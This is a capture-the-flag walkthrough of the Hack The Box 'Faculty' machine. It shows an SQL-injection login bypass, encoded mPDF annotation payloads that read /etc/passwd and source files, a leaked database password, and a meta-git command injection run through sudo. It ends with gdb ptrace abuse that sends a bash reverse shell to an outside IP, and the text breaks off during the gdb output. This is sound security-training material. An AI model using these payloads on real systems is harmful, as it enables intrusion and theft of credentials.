Navigating to `http://faculty.htb` redirects to `http://faculty.htb/login.php`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1fe6d74e135c217e1c4e632370697e6b9b664009%2FScreenshot%202022-07-27%20at%2018-43-51%20School%20Faculty%20Scheduling%20System.png?alt=media)

We try to brute force the required id number using burpsuite's intruder feature, but after trying a few hundred numbers with no luck we give up.

Let's brute force directories with `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://faculty.htb/FUZZ`:

```
admin                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 31ms]
```

Going to the newly discovered `http://faculty.htb/admin` shows a login page:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-c9f147bd37dce996e2aba67b8c797169520e536c%2FScreenshot%202022-07-27%20at%2019-35-50%20School%20Faculty%20Scheduling%20System.png?alt=media)

Trying a classic SQL injection with a username of `admin' --` and password `anything` works ([MySQL Injection info](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) & [general list of SQL injection payloads](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads))! We get access to an administrator interface:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e68a63cc11dccf246709505cdd762b1b1c19903f%2FScreenshot%202022-07-27%20at%2019-40-13%20School%20Faculty%20Scheduling%20System.png?alt=media)

Searching for vulnerabilities in this program finds [this list on ExpoitDB](https://www.exploit-db.com/search?q=School+Faculty+Scheduling+System).

Anyway, the "Faculty List" section contains the information we need:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-062f7cb51834cdab40e0a87cf5172b1f8c634991%2FScreenshot%202022-07-27%20at%2019-42-02%20School%20Faculty%20Scheduling%20System.png?alt=media)

```
ID       Name            Email              Contact
85662050 Blake, Claire G cblake@faculty.htb (763) 450-0121
30903070 James, Eric P   ejames@faculty.htb (702) 368-3689
63033226 Smith, John C   jsmith@faculty.htb (646) 559-9192
```

Now that we have emails and, more importantly, some ID numbers, we can try to get into the main page at `http://faculty.htb`, but going back to the main page just shows us a calendar. Logging out as `admin` and using an ID number does work, but doesn't seem to get us anywhere:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-2eca90d10bb988d6b659f55d741d47c42f7ba8e8%2FScreenshot%202022-07-27%20at%2019-48-05%20School%20Faculty%20Scheduling%20System.png?alt=media)

Interestingly, we can generate a PDF of the table. We get a pdf at `http://faculty.htb/mpdf/tmp/OKFEkR81dfJX73wmOhSsyV9r0D.pdf`. The `mpdf` in the URL indicates that this PDF was generated using [mpdf](https://mpdf.github.io/).

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-dcbe20d844d80180fa2f4e48596f4b5b71b84d7c%2FScreenshot-20220727194506-1464x1020.png?alt=media)

Going back to the PDF download button and clicking it with the Network tab open in Firefox's developer tools shows that the button makes a POST request to `/download.php`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9f7743e30da314e94908d8e1751af742353d63b0%2FScreenshot-20220727195406-2282x1312.png?alt=media)

There is a `pdf` field submitted with the following data:

```
JTI1M0NoMSUyNTNFJTI1M0NhJTJCbmFtZSUyNTNEJTI1MjJ0b3AlMjUyMiUyNTNFJTI1M0MlMjUyRmElMjUzRWZhY3VsdHkuaHRiJTI1M0MlMjUyRmgxJTI1M0UlMjUzQ2gyJTI1M0VGYWN1bHRpZXMlMjUzQyUyNTJGaDIlMjUzRSUyNTNDdGFibGUlMjUzRSUyNTA5JTI1M0N0aGVhZCUyNTNFJTI1MDklMjUwOSUyNTNDdHIlMjUzRSUyNTA5JTI1MDklMjUwOSUyNTNDdGglMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0VJRCUyNTNDJTI1MkZ0aCUyNTNFJTI1MDklMjUwOSUyNTA5JTI1M0N0aCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRU5hbWUlMjUzQyUyNTJGdGglMjUzRSUyNTA5JTI1MDklMjUwOSUyNTNDdGglMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0VFbWFpbCUyNTNDJTI1MkZ0aCUyNTNFJTI1MDklMjUwOSUyNTA5JTI1M0N0aCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRUNvbnRhY3QlMjUzQyUyNTJGdGglMjUzRSUyNTNDJTI1MkZ0ciUyNTNFJTI1M0MlMjUyRnRoZWFkJTI1M0UlMjUzQ3Rib2R5JTI1M0UlMjUzQ3RyJTI1M0UlMjUzQ3RkJTJCY2xhc3MlMjUzRCUyNTIydGV4dC1jZW50ZXIlMjUyMiUyNTNFODU2NjIwNTAlMjUzQyUyNTJGdGQlMjUzRSUyNTNDdGQlMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0UlMjUzQ2IlMjUzRUJsYWtlJTI1MkMlMkJDbGFpcmUlMkJHJTI1M0MlMjUyRmIlMjUzRSUyNTNDJTI1MkZ0ZCUyNTNFJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDc21hbGwlMjUzRSUyNTNDYiUyNTNFY2JsYWtlJTI1NDBmYWN1bHR5Lmh0YiUyNTNDJTI1MkZiJTI1M0UlMjUzQyUyNTJGc21hbGwlMjUzRSUyNTNDJTI1MkZ0ZCUyNTNFJTJCJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDc21hbGwlMjUzRSUyNTNDYiUyNTNFJTI1Mjg3NjMlMjUyOSUyQjQ1MC0wMTIxJTI1M0MlMjUyRmIlMjUzRSUyNTNDJTI1MkZzbWFsbCUyNTNFJTI1M0MlMjUyRnRkJTI1M0UlMjUzQyUyNTJGdHIlMjUzRSUyNTNDdHIlMjUzRSUyNTNDdGQlMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0UzMDkwMzA3MCUyNTNDJTI1MkZ0ZCUyNTNFJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDYiUyNTNFSmFtZXMlMjUyQyUyQkVyaWMlMkJQJTI1M0MlMjUyRmIlMjUzRSUyNTNDJTI1MkZ0ZCUyNTNFJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDc21hbGwlMjUzRSUyNTNDYiUyNTNFZWphbWVzJTI1NDBmYWN1bHR5Lmh0YiUyNTNDJTI1MkZiJTI1M0UlMjUzQyUyNTJGc21hbGwlMjUzRSUyNTNDJTI1MkZ0ZCUyNTNFJTJCJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDc21hbGwlMjUzRSUyNTNDYiUyNTNFJTI1Mjg3MDIlMjUyOSUyQjM2OC0zNjg5JTI1M0MlMjUyRmIlMjUzRSUyNTNDJTI1MkZzbWFsbCUyNTNFJTI1M0MlMjUyRnRkJTI1M0UlMjUzQyUyNTJGdHIlMjUzRSUyNTNDdHIlMjUzRSUyNTNDdGQlMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0U2MzAzMzIyNiUyNTNDJTI1MkZ0ZCUyNTNFJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDYiUyNTNFU21pdGglMjUyQyUyQkpvaG4lMkJDJTI1M0MlMjUyRmIlMjUzRSUyNTNDJTI1MkZ0ZCUyNTNFJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDc21hbGwlMjUzRSUyNTNDYiUyNTNFanNtaXRoJTI1NDBmYWN1bHR5Lmh0YiUyNTNDJTI1MkZiJTI1M0UlMjUzQyUyNTJGc21hbGwlMjUzRSUyNTNDJTI1MkZ0ZCUyNTNFJTJCJTI1M0N0ZCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRSUyNTNDc21hbGwlMjUzRSUyNTNDYiUyNTNFJTI1Mjg2NDYlMjUyOSUyQjU1OS05MTkyJTI1M0MlMjUyRmIlMjUzRSUyNTNDJTI1MkZzbWFsbCUyNTNFJTI1M0MlMjUyRnRkJTI1M0UlMjUzQyUyNTJGdHIlMjUzRSUyNTNDJTI1MkZ0Ym9ieSUyNTNFJTI1M0MlMjUyRnRhYmxlJTI1M0U
```

Pasting it into CyberChef and clicking the magic button three times (base64 decode, url decode, url decode again) produces the following:

```html
<h1><a name="top"></a>faculty.htb</h1><h2>Faculties</h2><table>	<thead>		<tr>			<th class="text-center">ID</th>			<th class="text-center">Name</th>			<th class="text-center">Email</th>			<th class="text-center">Contact</th></tr></thead><tbody><tr><td class="text-center">85662050</td><td class="text-center"><b>Blake, Claire G</b></td><td class="text-center"><small><b>cblake@faculty.htb</b></small></td> <td class="text-center"><small><b>(763) 450-0121</b></small></td></tr><tr><td class="text-center">30903070</td><td class="text-center"><b>James, Eric P</b></td><td class="text-center"><small><b>ejames@faculty.htb</b></small></td> <td class="text-center"><small><b>(702) 368-3689</b></small></td></tr><tr><td class="text-center">63033226</td><td class="text-center"><b>Smith, John C</b></td><td class="text-center"><small><b>jsmith@faculty.htb</b></small></td> <td class="text-center"><small><b>(646) 559-9192</b></small></td></tr></tboby></table>
```

This looks like the HTML content from the page. So, we have control over the content sent to `mpdf`. Let's try to find an exploit.

If we download the produced PDF and use `exiftool` like so `exiftool OKOPoRnvSh3lM7xqe2iLIW1GJU.pdf`, we get `mpdf`'s version number:

```
ExifTool Version Number         : 12.44
File Name                       : OKOPoRnvSh3lM7xqe2iLIW1GJU.pdf
Directory                       : .
File Size                       : 1781 bytes
File Modification Date/Time     : 2022:07:27 19:49:14-04:00
File Access Date/Time           : 2022:07:27 19:49:18-04:00
File Inode Change Date/Time     : 2022:07:27 19:49:17-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Page Layout                     : OneColumn
Producer                        : mPDF 6.0
Create Date                     : 2022:07:28 00:49:06+01:00
Modify Date                     : 2022:07:28 00:49:06+01:00
```

Searching for "mpdf 6.0 exploit" finds [Insecure PHP deserialization through phar:// wrapper](https://github.com/mpdf/mpdf/issues/949) which seems a little promising, [CVE-2018-19047](https://nvd.nist.gov/vuln/detail/CVE-2018-19047) ([GitHub issue](https://github.com/mpdf/mpdf/issues/867)) that probably won't help, and [phar:// deserialization and weak randomness of temporary file name may lead to RCE](https://github.com/mpdf/mpdf/issues/1381). The first and last seem like they might work if we knew if and where `unserialize` was called on our data.

Finding the exploit was kind of difficult in this case. Looking at the [changelog for mpdf](https://github.com/mpdf/mpdf/blob/development/CHANGELOG.md) for version `6.1.0` doesn't seem interesting, but in version `7.0.0` this line is interesting: `Security: Embedded files via <annotation> custom tag must be explicitly allowed via allowAnnotationFiles configuration key.` Searching for "mpdf embedded files annotation tag" finds [Make annotation tags disabled by default](https://github.com/mpdf/mpdf/issues/356) ([mpdf annotation tag documentation](https://mpdf.github.io/reference/html-control-tags/annotation.html)).

Additionally, searching for `"mpdf" exploit` on Google reveals this article on the second page: [Local file inclusion at IKEA.com](https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f).

## Foothold

The proof-of-concept exploit is as follows:

```xml
<annotation file="/etc/passwd" content="/etc/passwd"  icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```

Let's use burp to send this as the PDF to be generated instead of the table. First, we need to encode this in the reverse order that CyberChef decoded the PDF originally. So, with [CyberChef](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)URL_Encode\(false\)To_Base64\('A-Za-z0-9%2B/%3D'\)\&input=PGFubm90YXRpb24gZmlsZT0iL2V0Yy9wYXNzd2QiIGNvbnRlbnQ9Ii9ldGMvcGFzc3dkIiAgaWNvbj0iR3JhcGgiIHRpdGxlPSJBdHRhY2hlZCBGaWxlOiAvZXRjL3Bhc3N3ZCIgcG9zLXg9IjE5NSIgLz4) we URL encode twice and then base64 encode:

```
JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL2V0Yy9wYXNzd2QlMjUyMiUyNTIwY29udGVudD0lMjUyMi9ldGMvcGFzc3dkJTI1MjIlMjUyMCUyNTIwaWNvbj0lMjUyMkdyYXBoJTI1MjIlMjUyMHRpdGxlPSUyNTIyQXR0YWNoZWQlMjUyMEZpbGU6JTI1MjAvZXRjL3Bhc3N3ZCUyNTIyJTI1MjBwb3MteD0lMjUyMjE5NSUyNTIyJTI1MjAvJTI1M0U=
```

We can intercept and send the request using burp to get a PDF url/file: ![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1216c3df1db9fefc768415607040cd3926c05be9%2FScreenshot-20220727205705-2024x1054.png?alt=media)

Then, all we have to do is open up the sidebar in Firefox's pdf.js viewer and look at the attached files. Or you can mouse over the small dot in the rop right and click the file name:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-da39a80a5ccc4f8b03ab8fed309c6d8f9516193a%2FScreenshot%202022-07-27%20at%2020-55-53%20OKWAV04GpkP7bctyq68EuBaJIv%20pdf.png?alt=media)

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
developer:x:1001:1002:,,,:/home/developer:/bin/bash
usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
```

Looks like we have two users: `gbyolo` and `developer`.

Let's try to get their private SSH keys since that is the only other port open. We modify the payload accordingly:

```xml
<annotation file="/home/developer/.ssh/id_rsa" content="/home/developer/.ssh/id_rsa"  icon="Graph" title="Attached File: /home/developer/.ssh/id_rsa" pos-x="195" />
```

Encode with [CyberChef](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)URL_Encode\(false\)To_Base64\('A-Za-z0-9%2B/%3D'\)\&input=PGFubm90YXRpb24gZmlsZT0iL2hvbWUvZGV2ZWxvcGVyLy5zc2gvaWRfcnNhIiBjb250ZW50PSIvaG9tZS9kZXZlbG9wZXIvLnNzaC9pZF9yc2EiICBpY29uPSJHcmFwaCIgdGl0bGU9IkF0dGFjaGVkIEZpbGU6IC9ob21lL2RldmVsb3Blci8uc3NoL2lkX3JzYSIgcG9zLXg9IjE5NSIgLz4):

```
JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL2hvbWUvZGV2ZWxvcGVyLy5zc2gvaWRfcnNhJTI1MjIlMjUyMGNvbnRlbnQ9JTI1MjIvaG9tZS9kZXZlbG9wZXIvLnNzaC9pZF9yc2ElMjUyMiUyNTIwJTI1MjBpY29uPSUyNTIyR3JhcGglMjUyMiUyNTIwdGl0bGU9JTI1MjJBdHRhY2hlZCUyNTIwRmlsZTolMjUyMC9ob21lL2RldmVsb3Blci8uc3NoL2lkX3JzYSUyNTIyJTI1MjBwb3MteD0lMjUyMjE5NSUyNTIyJTI1MjAvJTI1M0U=
```

However, sending thise on in burp produces an error: `mPDF Error: Cannot access file attachment - /home/developer/.ssh/id_rsa`. So, that file doesn't exist. `/home/gbyolo/.ssh/id_rsa` also doesn't exist.

Looking back at the application, we see that we can view users' schedules:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e0b9c8df7c7e1107ec3b9f680da7a797245c76ab%2FScreenshot%202022-07-27%20at%2021-14-02%20School%20Faculty%20Scheduling%20System.png?alt=media)

Clicking one produces a request in burp with `faculty_id=2`. I messed around with different values and found that sending a non-integer like `faculty_id=not_an_int` produces an error message:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-da4b4ec9037ccbbc444168f5cf2bf533cd35f4f3%2FScreenshot-20220727211719-2008x902.png?alt=media)

As you can see, we are given the absolute path of a file that is part of the website: `/var/www/scheduling/admin/admin_class.php`. Let's read that with the LFI exploit we discovered with mpdf:

```
<annotation file="/var/www/scheduling/admin/admin_class.php" content="/var/www/scheduling/admin/admin_class.php"  icon="Graph" title="Attached File: /var/www/scheduling/admin/admin_class.php" pos-x="195" />
```

Encode with [CyberChef](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)URL_Encode\(false\)To_Base64\('A-Za-z0-9%2B/%3D'\)\&input=PGFubm90YXRpb24gZmlsZT0iL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAiIGNvbnRlbnQ9Ii92YXIvd3d3L3NjaGVkdWxpbmcvYWRtaW4vYWRtaW5fY2xhc3MucGhwIiAgaWNvbj0iR3JhcGgiIHRpdGxlPSJBdHRhY2hlZCBGaWxlOiAvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCIgcG9zLXg9IjE5NSIgLz4):

```
JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAlMjUyMiUyNTIwY29udGVudD0lMjUyMi92YXIvd3d3L3NjaGVkdWxpbmcvYWRtaW4vYWRtaW5fY2xhc3MucGhwJTI1MjIlMjUyMCUyNTIwaWNvbj0lMjUyMkdyYXBoJTI1MjIlMjUyMHRpdGxlPSUyNTIyQXR0YWNoZWQlMjUyMEZpbGU6JTI1MjAvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyNTIyJTI1MjBwb3MteD0lMjUyMjE5NSUyNTIyJTI1MjAvJTI1M0U=
```

Using the same method as before, this gives us [admin\_class.php](https://github.com/HHousen/hack-the-box/blob/master/Machines/Faculty/admin_class.php). Right at the top there is a mention of a `db_connect.php` file. Let's get that via LFI too:

```php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
```

This gives us the password `Co.met06aci.dly53ro.per`. Attempting to login via SSH as `developer` with this password doesn't work, but trying it with the `gbyolo` user does work!

```
gbyolo@faculty:~$ ls -la
total 44
drwxr-x--- 7 gbyolo gbyolo 4096 Jul 28 01:23 .
drwxr-xr-x 4 root   root   4096 Jun 23 18:50 ..
lrwxrwxrwx 1 gbyolo gbyolo    9 Oct 23  2020 .bash_history -> /dev/null
-rw-r--r-- 1 gbyolo gbyolo  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gbyolo gbyolo 3771 Feb 25  2020 .bashrc
drwx------ 2 gbyolo gbyolo 4096 Jun 23 18:50 .cache
drwx------ 3 gbyolo gbyolo 4096 Jun 23 18:50 .config
drwxrwxr-x 3 gbyolo gbyolo 4096 Jun 23 18:50 .local
-rw------- 1 gbyolo gbyolo  248 Jul 28 01:23 .mysql_history
drwxrwxr-x 3 gbyolo gbyolo 4096 Jul 27 21:36 .npm
-rw-r--r-- 1 gbyolo gbyolo  807 Feb 25  2020 .profile
drwx------ 2 gbyolo gbyolo 4096 Jun 23 18:50 .ssh
```

No `user.txt` so it looks like we to pivot to the `developer` user.

## Lateral Movement

We switch to [pwncat](https://github.com/calebstewart/pwncat) instead of ssh so we can easily upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) by running `upload linpeas.sh` in the local shell. Run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report_gbyolo.txt`. Download the report with `download linpeas_report_gbyolo.txt` in the local terminal. You can open [linpeas\_report\_gbyolo.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Faculty/linpeas_report_gbyolo.txt) with `less -R linpeas_report_gbyolo.txt`.

This doesn't find too many interesting things. But, since we have the password for this user, we can check `sudo -l`:

```
Matching Defaults entries for gbyolo on faculty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gbyolo may run the following commands on faculty:
    (developer) /usr/local/bin/meta-git
```

We can run `/usr/local/bin/meta-git` as the `developer` user.

Running `ls -la /usr/local/bin/meta-git` shows that `/usr/local/bin/meta-git` is a sumbolic link to `../lib/node_modules/meta-git/bin/meta-git`, which is an NPM package so we can [find it up on npmjs.com](https://www.npmjs.com/package/meta-git).

After manually trying to find an exploit for a while, I instaed simply Google "meta-git exploit" and immediately find what I was looking for: [HackerOne report](https://hackerone.com/reports/728040).

We can use the following syntax to get command execution: `/usr/local/bin/meta-git clone 'sss||bash'`. Make sure to execute it with `sudo -u developer` so it runs as the `developer` user: `sudo -u developer /usr/local/bin/meta-git clone 'sss||bash'`.

We get the following output:

```
meta git cloning into 'sss||bash' at sss||bash

sss||bash:
sss||bash: command 'git clone sss||bash sss||bash' exited with error: Error: spawnSync /bin/sh EACCES
(node:255220) UnhandledPromiseRejectionWarning: Error: EACCES: permission denied, chdir '/home/gbyolo/sss||bash'
    at process.chdir (internal/process/main_thread_only.js:31:12)
    at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone:27:11)
    at execPromise.then.catch.errorMessage (/usr/local/lib/node_modules/meta-git/node_modules/meta-exec/index.js:104:22)
    at process._tickCallback (internal/process/next_tick.js:68:7)
    at Function.Module.runMain (internal/modules/cjs/loader.js:834:11)
    at startup (internal/bootstrap/node.js:283:19)
    at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
(node:255220) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 2)
(node:255220) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
```

The issue is that we are still in `/home/gbyolo`, which `developer` cannot access so we `cd /tmp` and then run it and it works!

We can now `cat ~user.txt` to get the `user.txt` flag and run `cat ~/.ssh/id_rsa` to get the SSh private key and login direrctly as developer.

## Privilege Escalation

We can run LinPEAS again with `./linpeas.sh -a 2>&1 | tee linpeas_report_developer.txt` to see if there is anything new: [linpeas\_report\_developer.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Faculty/linpeas_report_developer.txt)

We notice this file in the home directory: `/home/developer/sendmail.sh`:

```bash
#!/bin/bash
[ -s /var/mail/gbyolo ] || echo "Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb" | /usr/bin/mail -s "Faculty group" gbyolo@faculty.htb
```

We also notice this interesting output from LinPEAS:

```
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--- 1 root debug 8440200 Dec  8  2021 /usr/bin/gdb
-rw-r----- 1 root developer 33 Jul 27 13:06 /home/developer/user.txt
```

And this:

```
Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
```

Basically, since we are in the `debug` group, we have access to execute `gdb`, a debugging program. On this machine, `gdb` has the `SYS_PTRACE` capability, which means we can use it to "trace arbitrary processes using ptrace" ([source](https://man7.org/linux/man-pages/man7/capabilities.7.html)). [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace) has some additional information. Under the "Example with environment (Docker breakout) - Gdb Abuse" heading they discuss roughly what we are about to do.

We're going to use `gdb` to debug a process running as `root` and then make that process call the `system` function.

Example payload from HackTricks:

```
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
```

Let's look for a process with `ps aux | grep ^root`. Eventually we find `python3` running as `root`:

```
$ ps aux | grep ^root.*python3
root         723  0.0  0.9  26896 18124 ?        Ss   Jul27   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
```

So, we start a listener with `pwncat-cs -lp 58619` run the following commands:

```
gdb -p 723
call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.14.98/58619 0>&1'")
```

Those commands output this:

```
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 723
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/18/78e6b475720c7c51969e69ab2d276fae6d1dee.debug...
Reading symbols from /lib/x86_64-linux-gnu/libpthread.so.0...
Reading symbols from /usr/lib/debug/.build-id/7b/4536f41cdaa5888408e82d0836e33dcf436466.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Reading symbols from /lib/x86_64-linux-gnu/libdl.so.2...
Reading symbols from /usr/lib/debug/.build-id/c0/f40155b3f8bf8c494fa800f9ab197ebe20ed6e.debug...
Reading symbols from /lib/x86_64-linux-gnu/libutil.so.1...
Reading symbols from /usr/lib/debug/.build-id/4f/3ee75c38f09d6346de1e8eca0f8d8a41071d9f.debug...
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...
Reading symbols from /usr/lib/debug/.build-id/fe/91b4090ea04c1559ff71dd9290062776618891.debug...
Reading symbols from /lib/x86_64-linux-gnu/libexpat.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libexpat.so.1)
Reading symbols from /lib/x86_64-linux-gnu/libz.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libz.so.1)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/87364908de169dec62ffa538170118c1c3a078.debug...
Reading symbols from /lib/x86_64-linux-gnu/libnss_files.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/da81f0ac3660e3c3cb947c6244151d879ed9e8.debug...
Reading symbols from /usr/lib/python3.8/lib-dynload/_json.cpython-38-x86_64-linux-gnu.so...
